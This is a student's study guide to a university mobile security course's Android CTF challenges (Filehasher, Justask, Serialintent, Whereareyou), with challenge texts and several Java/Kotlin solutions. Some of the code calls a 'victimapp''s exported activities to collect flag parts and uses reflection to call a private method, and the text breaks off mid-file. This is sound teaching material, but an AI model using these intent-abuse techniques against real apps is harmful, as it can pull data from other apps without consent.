Mobile Security CTFs

Gabriel Rovesti

Contents

1. Disclaimer on CTFs

From what was written last year in a message inside group:

I would suggest that you:

1. have done all the challenges and have an idea of how you solved them
2. know how to move inside the Android documentation
3. start from the manifest, see the permissions, intents and declarations
4. find which one is the Launcher activity, open it and see what it does
5. go backwards and investigate classes and functions that are strictly necessary to find the flag (or solve the exercise)
6. if you arrive to a crypted string, google its decryption. They use online decryption tools and may change the specific one from one exam to the other. This was something they frequently used last year, not sure this one
7. watch the logs after you launched your application, the errors are very useful in understanding problems or how to proceed

More or less, this is the general process I used last year.

What I suggest is also to:

- know what APIs are deprecated (like onActivityResult)
- know that in the exam, for some reason, you have to use Java

The prof. always suggests the challenges made inside lessons are more than enough to do the exam. That's why I created this document.

2. Filehasher

2.1. Challenge description

You will need to write an app (with package name “com.example.maliciousapp”) that exports a functionality to compute the SHA256 hash of a given file. You will need to define an activity with an intent filter for the “com.mobiotsec.intent.action.HASHFILE” action. The system will start your activity and ask you for hashing a file. The file path is specified in the Uri part of the intent you receive (which you can access with Intent.getData()).

You need to put the calculated hash in a result intent (under the “hash” key, see below) and in hexadecimal format. To help you debug problems, the system will add in the log what the content of the file was, what it was expecting as the result hash, and what it found from your reply. If the expected hash and the one from your app match, the flag will be printed in the logs.

2.2. Solution 1

```
package com.example.maliciousapp;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.nio.file.*;
import android.util.Log;

public class HashFileActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }

    protected void onStart() {
        super.onStart();

        Intent intent = getIntent();

        // Get the data from the received intent
        Uri data = intent.getData();

        // Calculating hash
        String hash = "";
        try {
            InputStream input = getContentResolver().openInputStream(data);
            BufferedReader reader = new BufferedReader(new InputStreamReader(input));
            StringBuilder stringBuilder = new StringBuilder();

            String line;
            while ((line = reader.readLine()) != null) {
                stringBuilder.append(line);
```

```
            }
            // Pass the content as a string to calculateHash
            hash = calculateHash(stringBuilder.toString());

        } catch (Exception e) {
            e.printStackTrace();
        }

        Intent resultIntent = new Intent();
        resultIntent.putExtra("hash", hash);
        setResult(Activity.RESULT_OK, resultIntent);
        finish();
    }**


    private String calculateHash(String data) {
        String hash = "";

        try {
            // Calculate SHA-256 hash of the data
            MessageDigest md = MessageDigest.getInstance("SHA-256");
            byte[] digest = md.digest(data.getBytes());
            md.update(digest);

            // Convert the digest to a hexadecimal string
            StringBuilder hexString = new StringBuilder();
            for (byte b : digest) {
                String hex = Integer.toHexString(0xFF & b);
                if (hex.length() == 1) {
                    hexString.append('0');
                }
                hexString.append(hex);
            }
            hash = hexString.toString();

        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }

        return hash;
    }
}
```

2.3. Solution 2

- Manifest

```
<?xml version="1.0"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="0"
    android:versionName="0">
    <uses-sdk android:targetSdkVersion="33" />

    <application
        android:label="MaliciousApp"
        android:theme="@style/Theme.AppCompat.DayNight">
        <activity android:name=".MainActivity" android:exported="true">
            <intent-filter>
```

```
                <category android:name="android.intent.category.LAUNCHER" />
                <action android:name="android.intent.action.MAIN" />
            </intent-filter>
        </activity>

        <activity android:name=".HashFile" android:exported="true">
            <intent-filter>
                <action android:name="com.mobiotsec.intent.action.HASHFILE" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:mimeType="text/plain" />
            </intent-filter>
        </activity>
    </application>
</manifest>
```

- HashFile

```
package com.example.maliciousapp;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

import java.io.IOException;
import java.io.InputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import org.bouncycastle.util.encoders.Hex;

public class HashFile extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        // Display activity layout
        super.onCreate(savedInstanceState);
        setContentView(R.layout.hash_file);

        // Get intent
        Intent intent = getIntent();
        if (intent.getData() != null) {
            // Get file content bytes
            byte[] bytes = readFileBytes(intent.getData());

            if (bytes != null) {
                // Hash file content
                byte[] hashedBytes = hashBytes(bytes);

                // Get hex representation of hashed bytes
                String hash = Hex.toHexString(hashedBytes);

                // Return the hash
                setResult(Activity.RESULT_OK, new Intent().putExtra("hash", hash));
                finish();
            }
        }
    }
```

```
    private byte[] readFileBytes(android.net.Uri fileUri) {
        try (InputStream inputStream = getContentResolver().openInputStream(fileUri))
{
            if (inputStream != null) {
                return inputStream.readAllBytes();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }

    private byte[] hashBytes(byte[] bytes) {
        try {
            // Hash file content
            MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
            messageDigest.update(bytes);
            return messageDigest.digest();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
        return null;
    }
}
```

- MainActivity (usually, at its core, it's like this its structure)

```
package com.example.maliciousapp

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity extends AppCompatActivity {
  @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState)
    }
}
```

- An example of how an AndroidManifest works (you will see an intent filter, declaring what action should that intent have; specifically, given it's an implicit intent, it's specified the type of data as text/plain that it treats.
- An intent is considered implicit when it's not declared the component the action ends (because it's already in the Manifest as intent filter), otherwise it's explicit.

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
```

```
        android:theme="@style/Theme.MaliciousApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:label="@string/app_name"
            android:theme="@style/Theme.MaliciousApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".HashFileActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="com.mobiotsec.intent.action.HASHFILE" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:mimeType="text/plain" />
            </intent-filter>
        </activity>


    </application>

</manifest>
```

2.4. Prof. solution

```
package com.example.maliciousapp;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;

import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

import org.bouncycastle.util.encoders.Hex;

public class HashMe extends Activity {

    private final static String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
```

```
    }

    protected void onStart() {
        super.onStart();
        Intent intent = getIntent();

        Log.i(TAG, "Dat: " + intent.getData().toString() );

        // calculate hash
        String hash = "";

        try {
            hash = calcHash(intent.getData().toString());
        } catch( Exception e ) {
            Log.e(TAG, "Exception: " + Log.getStackTraceString(e));
        }
        // return the hash in a "result" intent
        Intent resultIntent = new Intent();
        resultIntent.putExtra("hash", hash);
        setResult(Activity.RESULT_OK, resultIntent);
        finish();
    }

    protected String calcHash(String uriString) throws NoSuchAlgorithmException {
        String hash = "";
        Uri uri = Uri.parse(uriString);

        try {
            InputStream in = getContentResolver().openInputStream(uri);
            BufferedReader r = new BufferedReader(new InputStreamReader(in));
            StringBuilder total = new StringBuilder();
            for (String line; (line = r.readLine()) != null; ) {
                total.append(line);
            }

            hash = total.toString();
            Log.i(TAG, "Hash String: " + hash);

        } catch (Exception e) {
            e.printStackTrace();
            Log.e(TAG,"InputStream Exception");
        }

        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] sha256 = md.digest(hash.getBytes(StandardCharsets.UTF_8));

        hash = Hex.toHexString(sha256);
        Log.i(TAG, "Hash SHA256: " + hash);

        return hash;
    }

}
```

3. Justask

3.1. Challenge description

There is an app installed on the system. The app has four activities. Each of them has one part of the flag. If you ask them nicely, they will all kindly reply with their part of the flag. They will reply with an Intent, the part of the flag is somehow contained there. Check the app's manifest for the specs. Good luck ;-)

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.victimapp">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.VictimApp">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".PartOne" android:exported="true"/>
        <activity android:name=".PartTwo">
            <intent-filter>
                <action android:name="com.example.victimapp.intent.action.JUSTASK"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>
        <activity android:name=".PartThree" android:exported="true"/>
        <activity android:name=".PartFour">
            <intent-filter>
                                                                    <action
android:name="com.example.victimapp.intent.action.JUSTASKBUTNOTSOSIMPLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>
    </application>

</manifest>
```

As you can see from above, the ones without intent filter need to be declared ax explicit intents, understanding the component they will end in. What matters here is launching all the activities and when launched all get the data in Bundle format, the iterate on it (has a format key-value).

3.2. Solution 1

```
class MainActivity : ComponentActivity() {

    private val TAG = "MOBIOTSEC"
    private val PART_ONE = 1
    private val PART_TWO = 2
    private val PART_THREE = 3
```

```
    private val PART_FOUR = 4

    private val flag = arrayOfNulls<String>(4)
    private var counter = 0

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        Log.i(TAG, "Entered main")

        try {
            // PartOne
            val intentPartOne = Intent()
                    intentPartOne.component  =  ComponentName("com.example.victimapp",
"com.example.victimapp.PartOne")
            startActivityForResult(intentPartOne, PART_ONE)
            Log.i(TAG, "Sent Part $PART_ONE")

            // PartTwo
            val intentPartTwo = Intent("com.example.victimapp.intent.action.JUSTASK")
            startActivityForResult(intentPartTwo, PART_TWO)
            Log.i(TAG, "Sent Part $PART_TWO")

            // PartThree
            val intentPartThree = Intent()
                   intentPartThree.component  =  ComponentName("com.example.victimapp",
"com.example.victimapp.PartThree")
            startActivityForResult(intentPartThree, PART_THREE)
            Log.i(TAG, "Sent Part $PART_THREE")

            // PartFour
                                                          val     intentPartFour     =
Intent("com.example.victimapp.intent.action.JUSTASKBUTNOTSOSIMPLE")
            startActivityForResult(intentPartFour, PART_FOUR)
            Log.i(TAG, "Sent Part $PART_FOUR")
        } catch (ex: Exception) {
            Log.e(TAG, ex.toString())
        }
    }

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)

    Log.i(TAG, "Got data from Part $requestCode")

    if (data != null) {
        val flagPart = decryptBundle(data)
        flag[requestCode - 1] = flagPart
        counter++

        Log.i(TAG, "Received Part $requestCode:\n$flagPart")

        if (counter == 4) {
            val completeFlag = flag.joinToString("")
            Log.i(TAG, "Complete Flag:\n$completeFlag")
        }
```

```
    } else {
        Log.e(TAG, "Received null data from Part $requestCode")
    }
}

private fun decryptBundle(intent: Intent): String {
    val flagPart = StringBuilder()

    fun extractFlagFromBundle(bundle: Bundle) {
        for (key in bundle.keySet()) {
            val value = bundle.get(key)
            if (value is Bundle) {
               extractFlagFromBundle(value) // Recursively extract from nested Bundles
            } else {
                flagPart.append("$key: $value\n")
                if (key == "flag" && flagPart.contains("FLAG{")) {
                    // Stop if we found the complete flag
                    return
                }
            }
        }
    }

    val extras = intent.extras
    if (extras != null) {
        extractFlagFromBundle(extras)
    }

    return flagPart.toString()
}
```

3.3. Solution 2

```
package com.example.maliciousapp;

import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

import androidx.activity.result.contract.ActivityResultContracts;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MOBIOTSEC";
    private final ActivityResultContracts.StartActivityForResult contract =
            new ActivityResultContracts.StartActivityForResult();

    private String partialFlag = "";

    private final ActivityResultContracts.StartActivityForResult partOne =
            registerForActivityResult(contract, result -> {
                String flagPart = result.getData().getStringExtra("flag");
                flagPart = (flagPart != null) ? flagPart : "[null]";
```

```
                Log.d(TAG, "Part 1: " + flagPart);
                partialFlag += flagPart;
            partTwo.launch(new Intent("com.example.victimapp.intent.action.JUSTASK"));
            });

    private final ActivityResultContracts.StartActivityForResult partTwo =
            registerForActivityResult(contract, result -> {
                String flagPart = result.getData().getStringExtra("flag");
                flagPart = (flagPart != null) ? flagPart : "[null]";

                Log.d(TAG, "Part 2: " + flagPart);
                partialFlag += flagPart;

                Intent intent = new Intent();
                intent.setComponent(new ComponentName(
                        "com.example.victimapp",
                        "com.example.victimapp.PartThree"
                ));
                partThree.launch(intent);
            });

    private final ActivityResultContracts.StartActivityForResult partThree =
            registerForActivityResult(contract, result -> {
                String flagPart = result.getData().getStringExtra("hiddenFlag");
                flagPart = (flagPart != null) ? flagPart : "[null]";

                Log.d(TAG, "Part 3: " + flagPart);
                partialFlag += flagPart;

                                                                    partFour.launch(new
Intent("com.example.victimapp.intent.action.JUSTASKBUTNOTSOSIMPLE"));
            });

    private final ActivityResultContracts.StartActivityForResult partFour =
            registerForActivityResult(contract, result -> {
                Bundle extras = result.getData().getExtras();
                if (extras != null) {
                    String flagPart = unwrapBundle(extras);
                    Log.d(TAG, "Part 4: " + flagPart);

                    TextView view = findViewById(R.id.debug_text);
                    String flag = partialFlag + flagPart;
                    view.setText(flag);
                    Log.d(TAG, "The flag is " + flag);
                }
            });

    private String unwrapBundle(Bundle bundle) {
        String key = bundle.keySet().iterator().next();

        Bundle innerBundle = bundle.getBundle(key);
        if (innerBundle != null) {
            return unwrapBundle(innerBundle);
        }
        return (bundle.getString(key) != null) ? bundle.getString(key) : "[null]";
    }
```

```
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Intent intent = new Intent();
        intent.setComponent(new ComponentName(
                "com.example.victimapp",
                "com.example.victimapp.PartOne"
        ));
        partOne.launch(intent);
    }
}
```

3.4. Prof. solution

```
package com.example.maliciousapp;

import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.appcompat.app.AppCompatActivity;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import java.util.Iterator;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    @Override
    protected void onStart() {
        super.onStart();

                    ActivityResultLauncher<Intent>   someActivityResultLauncher   =
registerForActivityResult(
                new ActivityResultContracts.StartActivityForResult(),
                result -> {

                    Intent data = result.getData();
                    assert data != null;
                    if(result.getResultCode() != 4) {
                        for (String p : data.getExtras().keySet()) {
                    Log.i(TAG, "key: " + p + " value: " + data.getExtras().getString(p));
                        }
                    }

                    if(result.getResultCode() == 4){
```

```
                        Bundle b1 = (Bundle) data.getExtras().getBundle("follow");
                        String mykey = "";
                        StringBuilder message = new StringBuilder();
                        Iterator<String> t = b1.keySet().iterator();

                        while(true) {
                            while (t.hasNext()) {
                                mykey = t.next();
                                message.append(mykey);
                                 Log.i(TAG, "key (last piece):" + mykey + " value " +
b1.getString(mykey));
                            }
                            try {
                                b1 = (Bundle) b1.getBundle(mykey);
                                t = b1.keySet().iterator();
                            } catch(NullPointerException | ClassCastException cce){
                                Log.i(TAG, "casting failure or nullpointer");
                                break;
                            }
                        }
                    }

                });

        Intent intent1 = new Intent();
                    intent1.setComponent(new   ComponentName("com.example.victimapp",
"com.example.victimapp.PartOne"));
        if (intent1.resolveActivity(getPackageManager()) != null) {
            intent1.putExtra("requestCode", 1);
            someActivityResultLauncher.launch(intent1);
        }

        Intent intent2 = new Intent("com.example.victimapp.intent.action.JUSTASK");
        if (intent2.resolveActivity(getPackageManager()) != null) {
            intent2.putExtra("requestCode", 2);
            someActivityResultLauncher.launch(intent2);
        }

        Intent intent3 = new Intent();
                    intent3.setComponent(new   ComponentName("com.example.victimapp",
"com.example.victimapp.PartThree"));
        if (intent3.resolveActivity(getPackageManager()) != null) {
            intent3.putExtra("requestCode", 3);
            someActivityResultLauncher.launch(intent3);
        }

                                                Intent      intent4      =      new
Intent("com.example.victimapp.intent.action.JUSTASKBUTNOTSOSIMPLE");
        if (intent4.resolveActivity(getPackageManager()) != null) {
            intent4.putExtra("requestCode", 4);
            someActivityResultLauncher.launch(intent4);
        }

    }

}
```

4. Serialintent

4.1. Challenge description

Start the SerialActivity, it will give you back the flag. Kinda.

Check out the source code of the AndroidManifest file, the SerialActivity and the FlagContainer classes of the victim app.

```
=====================================================
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.victimapp">
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.VictimApp">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".SerialActivity" android:exported="true"/>
    </application>

</manifest>
=====================================================
package com.example.victimapp;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import androidx.appcompat.app.AppCompatActivity;

public class SerialActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.e("MOBIOTSEC", "shuffling");
        FlagShuffler fs = new FlagShuffler();
        FlagContainer fc = fs.shuffleFlag(MainActivity.flag);

        Log.e("MOBIOTSEC", "sending back intent");
        Intent resultIntent = new Intent();
        resultIntent.putExtra("flag", fc);
        setResult(Activity.RESULT_OK, resultIntent);
        finish();
    }
```

```
}
==================================================
package com.example.victimapp;

import android.util.Base64;
import android.util.Log;

import java.io.Serializable;
import java.nio.charset.Charset;
import java.util.ArrayList;

public class FlagContainer implements Serializable {
    private String[] parts;
    private ArrayList<Integer> perm;

    public FlagContainer(String[] parts, ArrayList<Integer> perm) {
        this.parts = parts;
        this.perm = perm;
    }

    private String getFlag() {
        int n = parts.length;
        int i;
        String b64 = new String();
        for (i=0; i<n; i++) {
            b64 += parts[perm.get(i)];
        }

        byte[] flagBytes = Base64.decode(b64, Base64.DEFAULT);
        String flag = new String(flagBytes, Charset.defaultCharset());

        return flag;
    }
}
```

4.2. Solution 1

- First thing first, to leverage Java reflection, copy FlagContainer definition inside a Java file and put it inside project files in a “victimapp” folder

```
package com.example.serialintent

import android.app.Activity
import android.content.ComponentName
import android.content.Intent
import android.os.Build
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.result.ActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import com.example.victimapp.FlagContainer
import java.io.Serializable

class MainActivity : ComponentActivity() {

    //Avoid using getSerializableExtra
```

```
    inline fun <reified T : Serializable> Bundle.serializable(key: String): T? = when
{
        Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU -> getSerializable(key,
T::class.java)
        else -> @Suppress("DEPRECATION") getSerializable(key) as? T
    }

    inline fun <reified T : Serializable> Intent.serializable(key: String): T? = when
{
                        Build.VERSION.SDK_INT   >=   Build.VERSION_CODES.TIRAMISU   ->
getSerializableExtra(key, T::class.java)
        else -> @Suppress("DEPRECATION") getSerializableExtra(key) as? T
    }


    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // Register for activity result
                                                    val      launchActivity      =
registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result:
ActivityResult ->
            if (result.resultCode == Activity.RESULT_OK) {
                val data: Intent? = result.data
                handleFlag(data)
            }
        }

          // Create an intent with the victim app's package name and SerialActivity
component
                       val   componentName   =   ComponentName("com.example.victimapp",
"com.example.victimapp.SerialActivity")
        val intent = Intent()
        intent.component = componentName

        // Launch the intent
        launchActivity.launch(intent)
    }



    private fun handleFlag(data: Intent?) {
        if (data != null) {
            // Extract the FlagContainer using reflection
            Log.e("MOBIOTSEC", "Extracting flag")

            val flagContainer = data.serializable<FlagContainer>("flag")
            if (flagContainer != null) {
                try {
               val getFlagMethod = flagContainer.javaClass.getDeclaredMethod("getFlag")
                    getFlagMethod.isAccessible = true
                    val flagValue = getFlagMethod.invoke(flagContainer) as String
                    // Log the flag
                    Log.i("MOBIOTSEC", "Reversed Flag: $flagValue")
                } catch (e: Exception) {
                    Log.e("MOBIOTSEC", "Error extracting flag: ${e.message}")
```

```
                }
            } else {
                Log.e("MOBIOTSEC", "FlagContainer is null")
            }
        } else {
            Log.i("MOBIOTSEC", "Flag is null")
        }
    }
}
```

4.3. Solution 2

- First thing first, to leverage Java reflection, copy FlagContainer definition inside a Java file and put it inside project files in a “victimapp” folder

```
package com.example.maliciousapp;

import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.ApplicationInfoFlags;
import android.os.Bundle;
import android.util.Log;

import androidx.activity.result.contract.ActivityResultContracts;
import androidx.appcompat.app.AppCompatActivity;

import java.io.Serializable;
import dalvik.system.PathClassLoader;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    @Override
    protected void onStart() {
        super.onStart();
        getFlag();
    }

    @SuppressWarnings("unchecked")
    private void getFlag() {
        try {
            String apk = getPackageManager()
                .getApplicationInfo(
                    "com.example.victimapp",
                    ApplicationInfoFlags.GET_META_DATA
                )
                .sourceDir;

          PathClassLoader pathClassLoader = new PathClassLoader(apk, getClassLoader());
          Class<? extends Serializable> containerClass = (Class<? extends Serializable>)
```

```
pathClassLoader
                .loadClass("com.example.victimapp.FlagContainer");

            Intent intent = new Intent();
            intent.setComponent(new ComponentName(
                "com.example.victimapp",
                "com.example.victimapp.SerialActivity"
            ));

            ActivityResultContracts.StartActivityForResult contract =
                new ActivityResultContracts.StartActivityForResult();

            registerForActivityResult(contract, result -> {
                if (result.getData() != null) {
                    Bundle extras = result.getData().getExtras();
                    if (extras != null) {
                        extras.setClassLoader(pathClassLoader);
                        Serializable container = extras.getSerializable("flag");

                        if (container != null) {
                            try {
                                Object flag = container.getClass()
                                    .getDeclaredMethod("getFlag")
                                    .invoke(container);
                                Log.d(TAG, "The flag is " + flag);
                            } catch (Exception e) {
                                e.printStackTrace();
                            }
                        }
                    }
                }
            }).launch(intent);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

4.4. Prof. solution

```
package com.example.maliciousapp;

import androidx.activity.result.ActivityResultCallback;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContract;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
```

```java
import com.example.victimapp.FlagContainer;

import java.lang.reflect.Method;

//   https://medium.com/@kkunalandroid/serializable-in-android-with-example-38eb8b7334
ea

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";
                static     final     ComponentName     SERIAL_ACTIVITY     =     new
ComponentName("com.example.victimapp", "com.example.victimapp.SerialActivity");

    static class SerialContract extends ActivityResultContract<ComponentName, String>
{

        @NonNull
        @Override
      public Intent createIntent(@NonNull Context context, ComponentName componentName)
{
            Intent intent = new Intent();
            intent.setComponent(componentName);
            return intent;
        }

        @Override
        public String parseResult(int resultCode, @Nullable Intent data) {
            if(resultCode == Activity.RESULT_OK && data != null) {
                Log.i(TAG, "ENTERED " + data.getExtras());
                try {
                    FlagContainer s =  (FlagContainer) data.getExtras().get("flag");
                    Method method = s.getClass().getDeclaredMethod("getFlag");
                    method.setAccessible(true);
                    return (String) method.invoke(s);
                } catch (Exception e){
                    Log.i(TAG, Log.getStackTraceString(e));
                }
                Log.i(TAG, "END");
            }
            return null;
        }
    }

    static class SerialResultCallback implements ActivityResultCallback<String> {

        @Override
        public void onActivityResult(String result) {
            Log.i(TAG, result);
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
```

```
        Intent intent = new Intent();
                        intent.setComponent(new   ComponentName("com.example.victimapp",
"com.example.victimapp.SerialActivity"));
         ActivityResultLauncher<ComponentName> getFlag = registerForActivityResult(new
SerialContract(), new SerialResultCallback());
        getFlag.launch(SERIAL_ACTIVITY);
    }
}
```

5. Whereareyou

5.1. Challenge description

You need to declare and implement a service with an intent filter with action com.mobiotsec.intent.action.GIMMELOCATION. The system will find your service and it will start it with a startForegroundService() method (and an appropriate intent as argument). The system expects to get back the current location (as a Location object).

During the test, the system will change the current location at run-time, and it will query your service to get the updated location. If the expected location matches with what you reply back, the flag will be printed in the logs.

Your service should "return" the reply to the system with a broadcast intent, with a specific action and bundle, as in the snippet below:

```
Location currLoc = getCurrentLocation(); // put your magic here
Intent i = new Intent();
i.setAction("com.mobiotsec.intent.action.LOCATION_ANNOUNCEMENT");
i.putExtra("location", currLoc);
sendBroadcast(i);
```

5.2. Solution 1

First, declare the service inside the manifest using also these permission:

```
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
....
<service
    android:name=".LocationService"
    android:exported="true">
    <intent-filter>
        <action android:name="com.mobiotsec.intent.action.GIMMELOCATION" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</service>
```

- Implement then the service inside MyLocationService

```
package com.example.whereareyou;

import android.Manifest;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.IBinder;
import android.os.Looper;
import android.util.Log;

import androidx.annotation.Nullable;
```

```
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;

import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;

public class LocationService extends Service {
    private static final String TAG = "MOBIOTSEC";
    private FusedLocationProviderClient fusedLocationClient;

    @Override
    public void onCreate() {
        super.onCreate();
        fusedLocationClient = LocationServices.getFusedLocationProviderClient(this);
           startForegroundServiceNotification(); // Start foreground service with a
notification
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
                                              if      (intent      !=      null      &&
"com.mobiotsec.intent.action.GIMMELOCATION".equals(intent.getAction())) {
              startLocationUpdates(); // Start location updates when the appropriate
intent is received
        }

        return START_STICKY;
    }

    private void startForegroundServiceNotification() {
        String channelId = "location_service_notification";
                            NotificationCompat.Builder    notificationBuilder    =    new
NotificationCompat.Builder(this, channelId)
                .setSmallIcon(android.R.drawable.ic_dialog_info)
                .setContentTitle("Location service")
                .setPriority(NotificationCompat.PRIORITY_DEFAULT);

        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
            NotificationChannel channel = new NotificationChannel(channelId, "Location
Service Notification", NotificationManager.IMPORTANCE_DEFAULT);
                                        NotificationManager    notificationManager    =
getSystemService(NotificationManager.class);
            notificationManager.createNotificationChannel(channel);
        }

        Notification notification = notificationBuilder.build();
```

```
        startForeground(1, notification);
    }

    private void startLocationUpdates() {
        if (checkLocationPermission()) {
            // Define the location request
            LocationRequest locationRequest = new LocationRequest();
            locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
            locationRequest.setInterval(1000);

            // Create the location callback
            LocationCallback locationCallback = new LocationCallback() {
                @Override
                public void onLocationResult(LocationResult locationResult) {
                    super.onLocationResult(locationResult);
                    for (Location location : locationResult.getLocations()) {
                        // Handle the received location
                        sendLocationBroadcast(location);
                    }
                }
            };

         fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback,
Looper.getMainLooper());
        } else {
            Log.e(TAG, "Location permission not granted");
        }
    }

    private boolean checkLocationPermission() {
                                    return     ContextCompat.checkSelfPermission(this,
Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED;
    }

    private void sendLocationBroadcast(Location location) {
        Intent i = new Intent("com.mobiotsec.intent.action.LOCATION_ANNOUNCEMENT");
        i.putExtra("location", location);
        sendBroadcast(i);
        Log.i(TAG, "Sent location broadcast");
    }
}
```

- MainActivity

```
package com.example.whereareyou;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
